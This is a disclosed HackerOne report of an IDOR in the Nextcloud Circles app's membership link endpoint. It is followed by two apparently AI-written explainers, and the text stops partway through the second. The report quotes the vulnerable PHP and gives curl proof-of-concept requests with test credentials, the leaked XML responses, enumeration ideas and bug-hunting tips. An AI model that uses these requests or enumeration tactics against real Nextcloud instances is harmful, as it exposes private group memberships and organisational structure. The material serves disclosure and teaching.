Skip to content
IDOR Disclosed report Beginner CVE-2026-68493

Team membership information returned on API level based on ID

The membership lookup endpoint did not check whether the requesting user was allowed to view a given circle and user combination, so any authenticated user could retrieve membership details for any circle and user by supplying their identifiers. This exposed membership levels, inheritance paths and circle details, allowing enumeration of private circles and organisational structure.

milou Follow

Originally disclosed on HackerOne

Bounty$200 Low 3.1 View original
  • Triaged in 1 hour
  • Fixed in 6 months
  • Paid in 8 months
  • Disclosed after 8 months

Summary by the program

Security advisory in https://github.com/nextcloud/security-advisories/security/advisories/GHSA-f99w-3pm7-v4cv

The report

The getMembership() method in MembershipService and MembershipRequest does not verify that the requesting user has permission to view membership information for a given circle and user combination. This allows any authenticated user to query membership details (including inheritance paths, membership levels, and circle relationships) for any circle and any user by simply knowing or guessing their IDs.

The vulnerability exists because:

  1. MembershipService::getMembership() (line 134) directly calls MembershipRequest::getMembership() without any authorization check
  2. MembershipRequest::getMembership() (line 73) queries the database using only circleId and singleId without verifying the current user's permissions
  3. The link() endpoint in LocalController (line 581-590) exposes this functionality without proper access control

Vulnerable Code

File: lib/Service/MembershipService.php

PHP
/**
 * @param string $circleId
 * @param string $singleId
 * @param bool $detailed
 *
 * @return Membership
 * @throws MembershipNotFoundException
 * @throws RequestBuilderException
 */
public function getMembership(string $circleId, string $singleId, bool $detailed = false): Membership {
    $membership = $this->membershipRequest->getMembership($circleId, $singleId);  // No authorization check!
    if ($detailed) {
        $details = $this->circleRequest->getCirclesByIds($membership->getInheritancePath());
        $membership->setInheritanceDetails($details);  // Also leaks circle details
    }
    
    return $membership;
}

File: lib/Db/MembershipRequest.php

PHP
/**
 * @param string $circleId
 * @param string $singleId
 *
 * @return Membership
 * @throws MembershipNotFoundException
 */
public function getMembership(string $circleId, string $singleId): Membership {
    $qb = $this->getMembershipSelectSql();
    $qb->limitToCircleId($circleId);
    $qb->limitToSingleId($singleId);
    $qb->leftJoinCircleConfig(self::TABLE_MEMBERSHIP);
    
    return $this->getItemFromRequest($qb);  // No permission check!
}

File: lib/Controller/LocalController.php

PHP
/**
 * @NoAdminRequired
 *
 * @param string $circleId
 * @param string $singleId
 *
 * @return DataResponse
 * @throws OCSException
 */
public function link(string $circleId, string $singleId): DataResponse {
    try {
        $this->setCurrentFederatedUser();
        $membership = $this->membershipService->getMembership($circleId, $singleId, true);  // No authorization!
        
        return new DataResponse($this->serialize($membership));
    } catch (Exception $e) {
        $this->e($e, ['circleId' => $circleId, 'singleId' => $singleId]);
        throw new OCSException($e->getMessage(), (int)$e->getCode());
    }
}

Route affected:

  • GET /ocs/v2.php/circles/link/{circleId}/{singleId} - View membership information for any circle and user

Proof of Concept

Test Environment:

  • Nextcloud Version: 32.0.3
  • Circles App Version: 32.0.0

Attacker Requirements:

  • A valid authenticated user account
  • Knowledge or ability to guess/brute-force circleId and singleId values
  • Ability to make HTTP requests to the Nextcloud instance

Steps to Reproduce:

  1. Create a circle as the victim user:
Bash
curl -X POST "http://localhost:8080/ocs/v2.php/apps/circles/circles" \
  -H "OCS-APIRequest: true" \
  -H "Content-Type: application/json" \
  -u victim:Testing-/:321SS \
  -d '{"name": "Victim Secret Circle", "personal": false}'

Response (victim's circle created):

XML
<data>
  <id>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</id>
  <name>Victim Secret Circle</name>
  <displayName>Victim Secret Circle</displayName>
  <initiator>
    <singleId>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</singleId>
    <userId>victim</userId>
  </initiator>
</data>
  1. Access membership information as the victim (legitimate access):
Bash
curl -X GET "http://localhost:8080/ocs/v2.php/apps/circles/link/r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk/ovYvboLMBNGvRXSkqhgllIKo6T7fvZl" \
  -H "OCS-APIRequest: true" \
  -u victim:Testing-/:321SS

Response (victim accessing their own membership - expected):

XML
<data>
  <singleId>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</singleId>
  <circleId>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</circleId>
  <circleConfig>0</circleConfig>
  <level>9</level>
  <inheritanceFirst>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</inheritanceFirst>
  <inheritanceLast>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</inheritanceLast>
  <inheritancePath>
    <element>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</element>
  </inheritancePath>
  <inheritanceDepth>1</inheritanceDepth>
  <inheritanceDetails>
    <element>
      <id>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</id>
      <name>user:victim:ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</name>
      <displayName>victim</displayName>
      <userId>victim</userId>
      <owner>
        <userId>victim</userId>
      </owner>
    </element>
  </inheritanceDetails>
</data>
  1. Access the SAME membership information as an attacker (unauthorized access):
Bash
curl -X GET "http://localhost:8080/ocs/v2.php/apps/circles/link/r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk/ovYvboLMBNGvRXSkqhgllIKo6T7fvZl" \
  -H "OCS-APIRequest: true" \
  -u attacker:Testing-/:321S

Response (attacker accessing victim's membership - VULNERABILITY CONFIRMED):

XML
<data>
  <singleId>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</singleId>
  <circleId>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</circleId>
  <circleConfig>0</circleConfig>
  <level>9</level>
  <inheritanceFirst>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</inheritanceFirst>
  <inheritanceLast>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</inheritanceLast>
  <inheritancePath>
    <element>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</element>
  </inheritancePath>
  <inheritanceDepth>1</inheritanceDepth>
  <inheritanceDetails>
    <element>
      <id>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</id>
      <name>user:victim:ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</name>
      <displayName>victim</displayName>
      <userId>victim</userId>
      <owner>
        <userId>victim</userId>
      </owner>
    </element>
  </inheritanceDetails>
</data>

Proof of Exploitation:

  • Both requests (victim and attacker) return identical data
  • The attacker successfully accessed the victim's private circle membership information
  • The response includes sensitive details:
    • Circle ID: r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk
    • User's singleId: ovYvboLMBNGvRXSkqhgllIKo6T7fvZl
    • Membership level: 9 (Owner)
    • Inheritance path and complete circle details
    • User information (userId: victim)

Response includes:

  • Membership level and status
  • Inheritance path (list of circle IDs)
  • Complete circle details for all circles in the inheritance path (when detailed=true)
  • Circle configurations and visibility settings
  • User identification information

Proof that there is no mitigation to stop the attack:

1. No Authorization Check in Controller Layer: The link() endpoint in LocalController::link() (line 581-590) calls getMembership() with detailed=true without any authorization verification. The only check is setCurrentFederatedUser() which only verifies the user is authenticated, not that they have permission to view the requested membership. Code path: LocalController::link() → MembershipService::getMembership() → NO PERMISSION CHECK.

2. No Authorization Check in Service Layer: MembershipService::getMembership() (line 134-142) directly calls MembershipRequest::getMembership() without any authorization logic. There is no call to verify circle access, no check if the current user is a member, and no validation that the user can view information about the target singleId. The method signature shows no $initiator parameter, confirming no permission context is passed.

3. Database Query Has Zero Permission Filtering: MembershipRequest::getMembership() (line 73-80) builds a query using only limitToCircleId() and limitToSingleId() - these are simple WHERE clauses with no JOIN to membership tables or permission checks. The query builder getMembershipSelectSql() (line 50-59) creates a basic SELECT statement with no authorization joins. The query will return data for ANY circleId/singleId combination if it exists in the database.

4. Detailed Mode Exposes Additional Unauthorized Data: When detailed=true (always used by the link() endpoint), the code calls getCirclesByIds() (line 137) which also has ZERO authorization checks. This method (CircleRequest.php:324-335) uses minimumLevel => Member::LEVEL_NONE, meaning it requires no membership at all. This leaks complete circle details for all circles in the inheritance path without any permission verification.

5. Endpoint is Publicly Accessible to All Authenticated Users: The link() endpoint is marked with @NoAdminRequired annotation (line 237), meaning any authenticated user can access it. There is no rate limiting, no additional authorization middleware, and no checks beyond basic authentication. Any user with a valid session can query membership information for any circle/user combination.

6. No Exception Handling Prevents Information Disclosure: The only exception that can occur is MembershipNotFoundException if the combination doesn't exist. However, this provides an oracle for enumeration - attackers can distinguish between "membership exists" (returns data) and "membership doesn't exist" (throws exception). The error handling does not prevent information disclosure, it only prevents access to non-existent memberships.

Impact

This vulnerability allows any authenticated user to:

  • Access membership information for any circle and user combination
  • Discover private/hidden circles by enumerating membership relationships
  • Map organizational structure through inheritance path information
  • Determine membership levels and hierarchies without authorization
  • Identify circle relationships and nested structures
  • Leak sensitive organizational data through membership enumeration

Business Impact:

  • Violation of privacy for private circles and teams
  • Exposure of organizational structure and relationships
  • Potential for social engineering attacks using discovered relationships
  • Violation of data protection regulations (GDPR, etc.)
  • Information disclosure that could aid in further attacks

Affected Data:

  • All circle memberships in the system
  • Inheritance relationships between circles
  • Circle configurations and visibility settings
  • User-circle relationships

Real-world Attack Scenario: An attacker could:

  1. Enumerate all circles a target user belongs to
  2. Discover private executive circles or confidential teams
  3. Map organizational hierarchy through inheritance paths
  4. Identify key personnel and their circle memberships
  5. Use this information for targeted social engineering attacks

The original report as published on HackerOne, by milou. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

Nextcloud is a self-hosted collaboration platform, and the Circles app adds a layer of user-defined groups (circles) on top of it. Circles can be personal or shared, can nest inside one another, and every membership carries a level and an inheritance path that describes how a user reaches a circle through nested structures. The Circles app exposes this membership model through OCS API endpoints, and one of them, link, is meant to return the membership record that ties a single user (singleId) to a circle (circleId).

The report concerns the nextcloud/circles component. The affected route is:

  • GET /ocs/v2.php/circles/link/{circleId}/{singleId}

The bug is an insecure direct object reference: the endpoint returns membership information for any circle and user combination to any authenticated user, without checking whether the caller is allowed to see it. The program rated it low severity (CVSS 3.1) and paid a 200 USD bounty. A security advisory was published as GHSA-f99w-3pm7-v4cv.

Setup

The researcher tested against a local instance with these versions:

Component Version
Nextcloud 32.0.3
Circles app 32.0.0

The attacker requirements stated in the report are:

  1. A valid authenticated user account.
  2. Knowledge, or the ability to guess or brute-force, of circleId and singleId values.
  3. The ability to make HTTP requests to the Nextcloud instance.

Two accounts are used in the proof of concept: victim and attacker. Requests are sent with curl using HTTP basic authentication and the OCS-APIRequest: true header that the OCS API expects.

Finding it

The researcher traced the link endpoint down through the service and database layers and found that no layer performs an authorisation check. Three points stood out:

  1. MembershipService::getMembership() (line 134) calls MembershipRequest::getMembership() directly, with no authorisation check.
  2. MembershipRequest::getMembership() (line 73) queries the database using only circleId and singleId, without verifying the current user's permissions.
  3. The link() endpoint in LocalController (lines 581 to 590) exposes this functionality without proper access control.

The method signature of MembershipService::getMembership() takes no initiator or user context at all, which is a strong hint that no permission decision can be made inside it.

The vulnerable code

lib/Service/MembershipService.php:

PHP
/**
 * @param string $circleId
 * @param string $singleId
 * @param bool $detailed
 *
 * @return Membership
 * @throws MembershipNotFoundException
 * @throws RequestBuilderException
 */
public function getMembership(string $circleId, string $singleId, bool $detailed = false): Membership {
    $membership = $this->membershipRequest->getMembership($circleId, $singleId);  // No authorization check!
    if ($detailed) {
        $details = $this->circleRequest->getCirclesByIds($membership->getInheritancePath());
        $membership->setInheritanceDetails($details);  // Also leaks circle details
    }

    return $membership;
}

lib/Db/MembershipRequest.php:

PHP
/**
 * @param string $circleId
 * @param string $singleId
 *
 * @return Membership
 * @throws MembershipNotFoundException
 */
public function getMembership(string $circleId, string $singleId): Membership {
    $qb = $this->getMembershipSelectSql();
    $qb->limitToCircleId($circleId);
    $qb->limitToSingleId($singleId);
    $qb->leftJoinCircleConfig(self::TABLE_MEMBERSHIP);

    return $this->getItemFromRequest($qb);  // No permission check!
}

lib/Controller/LocalController.php:

PHP
/**
 * @NoAdminRequired
 *
 * @param string $circleId
 * @param string $singleId
 *
 * @return DataResponse
 * @throws OCSException
 */
public function link(string $circleId, string $singleId): DataResponse {
    try {
        $this->setCurrentFederatedUser();
        $membership = $this->membershipService->getMembership($circleId, $singleId, true);  // No authorization!

        return new DataResponse($this->serialize($membership));
    } catch (Exception $e) {
        $this->e($e, ['circleId' => $circleId, 'singleId' => $singleId]);
        throw new OCSException($e->getMessage(), (int)$e->getCode());
    }
}

The controller calls the service with detailed=true, so the response is not limited to the raw membership row: it also resolves the inheritance path into full circle details.

Exploitation

Step 1: the victim creates a circle

The victim creates a personal circle through the Circles API:

Bash
curl -X POST "http://localhost:8080/ocs/v2.php/apps/circles/circles" \
  -H "OCS-APIRequest: true" \
  -H "Content-Type: application/json" \
  -u victim:Testing-/:321SS \
  -d '{"name": "Victim Secret Circle", "personal": false}'

The response confirms creation and returns the identifiers that the rest of the attack depends on:

XML
<data>
  <id>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</id>
  <name>Victim Secret Circle</name>
  <displayName>Victim Secret Circle</displayName>
  <initiator>
    <singleId>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</singleId>
    <userId>victim</userId>
  </initiator>
</data>

Two values matter from here on: the circle ID r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk and the victim's single ID ovYvboLMBNGvRXSkqhgllIKo6T7fvZl.

Step 2: the victim reads their own membership

As a baseline, the victim queries the link endpoint for their own membership:

Bash
curl -X GET "http://localhost:8080/ocs/v2.php/apps/circles/link/r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk/ovYvboLMBNGvRXSkqhgllIKo6T7fvZl" \
  -H "OCS-APIRequest: true" \
  -u victim:Testing-/:321SS

The expected response for the legitimate owner looks like this:

XML
<data>
  <singleId>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</singleId>
  <circleId>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</circleId>
  <circleConfig>0</circleConfig>
  <level>9</level>
  <inheritanceFirst>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</inheritanceFirst>
  <inheritanceLast>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</inheritanceLast>
  <inheritancePath>
    <element>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</element>
  </inheritancePath>
  <inheritanceDepth>1</inheritanceDepth>
  <inheritanceDetails>
    <element>
      <id>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</id>
      <name>user:victim:ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</name>
      <displayName>victim</displayName>
      <userId>victim</userId>
      <owner>
        <userId>victim</userId>
      </owner>
    </element>
  </inheritanceDetails>
</data>

The response carries the membership level (9, which the report identifies as Owner), the inheritance path, the inheritance depth, and the resolved inheritance details, including the user's display name and user ID.

Step 3: the attacker reads the same membership

The attacker, a different authenticated account, sends the identical request, changing only the credentials:

Bash
curl -X GET "http://localhost:8080/ocs/v2.php/apps/circles/link/r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk/ovYvboLMBNGvRXSkqhgllIKo6T7fvZl" \
  -H "OCS-APIRequest: true" \
  -u attacker:Testing-/:321S

The response is identical to the data the victim received:

XML
<data>
  <singleId>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</singleId>
  <circleId>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</circleId>
  <circleConfig>0</circleConfig>
  <level>9</level>
  <inheritanceFirst>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</inheritanceFirst>
  <inheritanceLast>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</inheritanceLast>
  <inheritancePath>
    <element>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</element>
  </inheritancePath>
  <inheritanceDepth>1</inheritanceDepth>
  <inheritanceDetails>
    <element>
      <id>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</id>
      <name>user:victim:ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</name>
      <displayName>victim</displayName>
      <userId>victim</userId>
      <owner>
        <userId>victim</userId>
      </owner>
    </element>
  </inheritanceDetails>
</data>

The report's proof of exploitation is the equality of the two responses: the attacker obtained the victim's private circle membership information, including the circle ID, the user's single ID, the membership level, the inheritance path and the complete circle details, plus the user identification information.

Root cause

The authorisation decision is missing at every layer, and the report walks through each one.

  1. Controller layer. LocalController::link() (lines 581 to 590) calls getMembership() with detailed=true without any authorisation verification. The only check is setCurrentFederatedUser(), which verifies that the user is authenticated, not that they may view the requested membership. The code path is LocalController::link() to MembershipService::getMembership() with no permission check in between.
  2. Service layer. MembershipService::getMembership() (lines 134 to 142) calls MembershipRequest::getMembership() directly. There is no call to verify circle access, no check that the current user is a member, and no validation that the user may view information about the target singleId. The method signature has no $initiator parameter, so no permission context is passed in at all.
  3. Database layer. MembershipRequest::getMembership() (lines 73 to 80) builds a query using only limitToCircleId() and limitToSingleId(), which are simple WHERE clauses with no join to membership tables or permission checks. The query builder getMembershipSelectSql() (lines 50 to 59) creates a basic SELECT with no authorisation joins, so the query returns data for any circleId/singleId combination that exists in the database.
  4. Detailed mode. Because link() always passes detailed=true, the code also calls getCirclesByIds() (line 137), which the report says has zero authorisation checks. That method (CircleRequest.php, lines 324 to 335) uses minimumLevel => Member::LEVEL_NONE, meaning it requires no membership at all, so complete circle details for every circle in the inheritance path are returned without any permission verification.
  5. Endpoint exposure. The link() endpoint carries the @NoAdminRequired annotation (line 237), so any authenticated user can reach it. The report states there is no rate limiting, no additional authorisation middleware, and no checks beyond basic authentication.
  6. Error handling. The only exception that can occur is MembershipNotFoundException when the combination does not exist. That does not prevent disclosure; it acts as an enumeration oracle, letting an attacker distinguish "membership exists" (data returned) from "membership does not exist" (exception thrown).

In short, the endpoint treats the pair of identifiers as sufficient proof of entitlement. Existing defences did not stop it because authentication was the only gate, and the object identifiers are the only thing an attacker needs to supply.

Impact

Any authenticated user can access membership information for any circle and user combination. According to the report, this lets an attacker:

  • discover private or hidden circles by enumerating membership relationships;
  • map organisational structure through inheritance path information;
  • determine membership levels and hierarchies without authorisation;
  • identify circle relationships and nested structures;
  • leak sensitive organisational data through membership enumeration.

The business impact listed includes violation of privacy for private circles and teams, exposure of organisational structure and relationships, potential for social engineering using discovered relationships, violation of data protection regulations such as GDPR, and information disclosure that could aid further attacks.

The affected data is all circle memberships in the system, inheritance relationships between circles, circle configurations and visibility settings, and user-circle relationships.

The report's real-world attack scenario: enumerate all circles a target user belongs to, discover private executive circles or confidential teams, map the organisational hierarchy through inheritance paths, identify key personnel and their circle memberships, and use that information for targeted social engineering.

Fix

The report itself does not describe the patch. The program's summary points to the published security advisory GHSA-f99w-3pm7-v4cv for the remediation. What the analysis implies is that the link endpoint, or the service beneath it, needs to verify that the requesting user is entitled to view the membership for the given circleId and singleId before the query runs, and that the detailed inheritance lookup should be subject to the same check.

Variants to test

  • Other OCS endpoints that take a circleId and a singleId. Send the pair as a low-privileged user and compare the response with the owner's. A positive result is identical data returned to both accounts.
  • Endpoints that accept detailed or similar flags. Request the detailed form as an outsider. A positive result is extra resolved objects (circle names, owners, configurations) appearing in the response.
  • Enumeration through error behaviour. Submit random identifiers and observe whether the error differs from the response for a real pair. A positive result is a reliable exists/does-not-exist signal.
  • Inheritance paths on nested circles. Query a membership whose inheritance path spans several circles. A positive result is the full chain of circle details returned to a user outside all of them.
  • Other @NoAdminRequired controller methods in the same app. Check whether they pass identifiers straight to a query builder without a permission context. A positive result is a method whose signature, like getMembership(), has no initiator parameter.

Hunting notes

The strongest static signal is a service method whose signature carries no user or initiator context, as the report highlights for getMembership(). The second signal is a query builder that only applies limitTo... WHERE clauses with no permission join. The third is a @NoAdminRequired annotation on a controller action that forwards identifiers directly to such a service.

During recon, look for OCS routes of the form /link/{id}/{id} or similar pair-based lookups, and test them with two accounts. The researcher demonstrated impact by showing that the victim's and attacker's responses were identical, and that the detailed mode leaks circle details beyond the membership row itself.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

Nextcloud is a piece of software you install on your own server to share files, calendars and contacts with other people. The Circles app is an add-on that lets people form their own groups, called circles, inside Nextcloud. A circle can be personal (just you) or shared with others, and circles can sit inside other circles, like folders inside folders. Every time a person belongs to a circle, the app stores a membership record: who the person is, which circle it is, what level of power they have in it, and the path of circles that connects them to it.

The Circles app offers an API so that other programs (and the web interface itself) can ask it questions. An API is a way for one program to talk to another over the network: you send a request to a specific address, and you get an answer back, usually in a structured format such as XML. Think of it as a service counter: you hand over a form with a few fields filled in, and the clerk hands back a record.

One of those API addresses is called link. You give it two identifiers, one for a circle and one for a user, and it returns the membership record that connects them. An identifier here is a long random-looking string, not a name, so it is not obvious from looking at it who or what it refers to.

The problem is that the link endpoint never checks whether the person asking is allowed to see that membership. Any logged-in user who knows (or guesses) the two identifiers gets the full record, even if the circle is private and they have nothing to do with it. This kind of bug has a name: insecure direct object reference, or IDOR. The idea is that the program hands out an object (here, a membership record) based only on an identifier supplied by the caller, without asking whether the caller is entitled to that object. A everyday comparison: a hotel receptionist who gives a room key to anyone who says the room number, without checking that the person is the guest.

The security team rated the issue low severity, with a CVSS score of 3.1. CVSS is a standard scoring system for how serious a security flaw is; 3.1 out of 10 is on the low end. A bounty of 200 USD was paid, and a public security advisory was published under the identifier GHSA-f99w-3pm7-v4cv.

Context

Nextcloud is a self-hosted collaboration platform, meaning you run it on your own hardware rather than using someone else's cloud service. The Circles app adds user-defined groups on top of it. Circles can be personal or shared, can nest inside one another, and every membership carries a level and an inheritance path. The inheritance path describes how a user reaches a circle through nested structures: if circle A sits inside circle B, the path records the chain.

The Circles app exposes this membership model through OCS API endpoints. OCS is Nextcloud's own API convention: a set of addresses under /ocs/v2.php/ that return structured data, and that expect a particular header to be present so the server knows the caller really means to use the API. One of these endpoints, link, is meant to return the membership record that ties a single user (identified by a value called singleId) to a circle (identified by a value called circleId).

The report concerns the nextcloud/circles component. The affected route is:

  • GET /ocs/v2.php/circles/link/{circleId}/{singleId}

A route is simply the address pattern of an endpoint. GET is the HTTP method used when a browser or program asks to read something; the two {...} parts are placeholders where the real identifiers go.

The bug is an insecure direct object reference: the endpoint returns membership information for any circle and user combination to any authenticated user, without checking whether the caller is allowed to see it. "Authenticated" means the caller has logged in with a valid account; it says nothing about what that account is permitted to do.

Setup

The researcher tested against a local instance with these versions:

Component Version
Nextcloud 32.0.3
Circles app 32.0.0

A local instance means Nextcloud was running on the researcher's own machine, reachable at localhost.

The attacker requirements stated in the report are:

  1. A valid authenticated user account.
  2. Knowledge, or the ability to guess or brute-force, of circleId and singleId values. Brute-forcing means trying many possibilities automatically until one works.
  3. The ability to make HTTP requests to the Nextcloud instance. HTTP is the protocol browsers use to fetch pages and send forms; a request is one message sent to the server.

Two accounts are used in the proof of concept: victim and attacker. Requests are sent with curl, a command-line tool that sends HTTP requests and prints the response, using HTTP basic authentication (a username and password sent with each request) and the OCS-APIRequest: true header that the OCS API expects. A header is an extra line of metadata attached to a request, like the label on an envelope.

Finding it

The researcher traced the link endpoint down through the layers of the application and found that no layer performs an authorisation check. Authorisation is the decision about what a logged-in user is allowed to do, as opposed to authentication, which is only about proving who they are. Three points stood out:

  1. MembershipService::getMembership() (line 134) calls MembershipRequest::getMembership() directly, with no authorisation check.
  2. MembershipRequest::getMembership() (line 73) queries the database using only circleId and singleId, without verifying the current user's permissions.
  3. The link() endpoint in LocalController (lines 581 to 590) exposes this functionality without proper access control.

The method signature of MembershipService::getMembership() takes no initiator or user context at all, which is a strong hint that no permission decision can be made inside it. A method signature is the list of inputs a function accepts; if the person making the request is not among those inputs, the function has no way to know who is asking.

The vulnerable code

lib/Service/MembershipService.php:

PHP
/**
 * @param string $circleId
 * @param string $singleId
 * @param bool $detailed
 *
 * @return Membership
 * @throws MembershipNotFoundException
 * @throws RequestBuilderException
 */
public function getMembership(string $circleId, string $singleId, bool $detailed = false): Membership {
    $membership = $this->membershipRequest->getMembership($circleId, $singleId);  // No authorization check!
    if ($detailed) {
        $details = $this->circleRequest->getCirclesByIds($membership->getInheritancePath());
        $membership->setInheritanceDetails($details);  // Also leaks circle details
    }

    return $membership;
}

Line by line, in plain words:

  • The block at the top between /** and */ is a comment describing the inputs and outputs. It says the function takes a circle identifier, a user identifier and an optional detailed flag, and that it can fail with two named exceptions (error conditions).
  • public function getMembership(...) declares the function. The string and bool words say what type each input is: text, text, and true/false. = false means the detailed flag is off unless the caller turns it on.
  • The first line inside the function asks another object, membershipRequest, for the membership record using the two identifiers. The comment next to it, written by the researcher, points out that no authorisation check happens here.
  • if ($detailed) checks the flag. When it is on, the function looks up the full details of every circle in the membership's inheritance path and attaches them to the record. The researcher's comment notes that this also leaks circle details.
  • return $membership; hands the record back to whoever called the function.

lib/Db/MembershipRequest.php:

PHP
/**
 * @param string $circleId
 * @param string $singleId
 *
 * @return Membership
 * @throws MembershipNotFoundException
 */
public function getMembership(string $circleId, string $singleId): Membership {
    $qb = $this->getMembershipSelectSql();
    $qb->limitToCircleId($circleId);
    $qb->limitToSingleId($singleId);
    $qb->leftJoinCircleConfig(self::TABLE_MEMBERSHIP);

    return $this->getItemFromRequest($qb);  // No permission check!
}

Line by line:

  • The comment block again describes the two inputs and the possible error.
  • $qb = $this->getMembershipSelectSql(); creates a query builder, a helper object that assembles a database query piece by piece. A database query is the instruction sent to the database to fetch rows of data.
  • $qb->limitToCircleId($circleId); adds a filter: only rows for this circle.
  • $qb->limitToSingleId($singleId); adds a second filter: only rows for this user.
  • $qb->leftJoinCircleConfig(self::TABLE_MEMBERSHIP); attaches related configuration data to each row.
  • return $this->getItemFromRequest($qb); runs the query and returns the single matching record. The researcher's comment points out that no permission check is applied to the query.

lib/Controller/LocalController.php:

PHP
/**
 * @NoAdminRequired
 *
 * @param string $circleId
 * @param string $singleId
 *
 * @return DataResponse
 * @throws OCSException
 */
public function link(string $circleId, string $singleId): DataResponse {
    try {
        $this->setCurrentFederatedUser();
        $membership = $this->membershipService->getMembership($circleId, $singleId, true);  // No authorization!

        return new DataResponse($this->serialize($membership));
    } catch (Exception $e) {
        $this->e($e, ['circleId' => $circleId, 'singleId' => $singleId]);
        throw new OCSException($e->getMessage(), (int)$e->getCode());
    }
}

Line by line:

  • @NoAdminRequired is an annotation, a marker read by the framework (the code that runs the application). It means this endpoint can be reached by any logged-in user, not only administrators.
  • public function link(...) is the function that handles the link route. It receives the two identifiers from the URL.
  • try { starts a block where errors are caught rather than crashing the request.
  • $this->setCurrentFederatedUser(); establishes who the caller is. The researcher's analysis later explains that this only confirms the caller is logged in.
  • $membership = $this->membershipService->getMembership($circleId, $singleId, true); calls the service function above, with the detailed flag set to true. The comment marks the missing authorisation.
  • return new DataResponse($this->serialize($membership)); converts the record into the response format and sends it back.
  • catch (Exception $e) { catches any error.
  • $this->e($e, [...]); logs the error together with the two identifiers.
  • throw new OCSException(...) turns the error into an API error response with the original message and code.

The controller calls the service with detailed=true, so the response is not limited to the raw membership row: it also resolves the inheritance path into full circle details.

Exploitation

Step 1: the victim creates a circle

The victim creates a personal circle through the Circles API:

Bash
curl -X POST "http://localhost:8080/ocs/v2.php/apps/circles/circles" \
  -H "OCS-APIRequest: true" \
  -H "Content-Type: application/json" \
  -u victim:Testing-/:321SS \
  -d '{"name": "Victim Secret Circle", "personal": false}'

Line by line:

  • curl is the command-line tool sending the request.
  • -X POST says this is a POST request, the method used to create something. GET, used later, is for reading.
  • The quoted address is the endpoint for creating circles on the local test server, port 8080.
  • -H "OCS-APIRequest: true" adds the header the OCS API requires.
  • -H "Content-Type: application/json" tells the server the body is in JSON, a common text format for structured data.
  • -u victim:Testing-/:321SS supplies the victim's username and password for basic authentication.
  • -d '...' is the body of the request: a JSON object giving the circle a name and saying it is not personal.

This step is taken to create a circle owned by the victim, so there is something to try to read. The response confirms creation and returns the identifiers that the rest of the attack depends on:

XML
<data>
  <id>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</id>
  <name>Victim Secret Circle</name>
  <displayName>Victim Secret Circle</displayName>
  <initiator>
    <singleId>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</singleId>
    <userId>victim</userId>
  </initiator>
</data>

XML is a text format where data is wrapped in tags, like <name>...</name>. Here the response gives the new circle's id, its name, and an initiator block naming the user who created it, with their singleId and userId.

Two values matter from here on: the circle ID r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk and the victim's single ID ovYvboLMBNGvRXSkqhgllIKo6T7fvZl.

Step 2: the victim reads their own membership

As a baseline, the victim queries the link endpoint for their own membership:

Bash
curl -X GET "http://localhost:8080/ocs/v2.php/apps/circles/link/r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk/ovYvboLMBNGvRXSkqhgllIKo6T7fvZl" \
  -H "OCS-APIRequest: true" \
  -u victim:Testing-/:321SS

Line by line:

  • -X GET says this is a read request.
  • The address is the link route with the circle ID and the single ID filled into the two placeholders.
  • The header and the credentials are the same as before, with the victim's account.

This step is taken to record what a legitimate answer looks like, so the next step can be compared against it. The expected response for the legitimate owner looks like this:

XML
<data>
  <singleId>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</singleId>
  <circleId>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</circleId>
  <circleConfig>0</circleConfig>
  <level>9</level>
  <inheritanceFirst>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</inheritanceFirst>
  <inheritanceLast>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</inheritanceLast>
  <inheritancePath>
    <element>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</element>
  </inheritancePath>
  <inheritanceDepth>1</inheritanceDepth>
  <inheritanceDetails>
    <element>
      <id>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</id>
      <name>user:victim:ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</name>
      <displayName>victim</displayName>
      <userId>victim</userId>
      <owner>
        <userId>victim</userId>
      </owner>
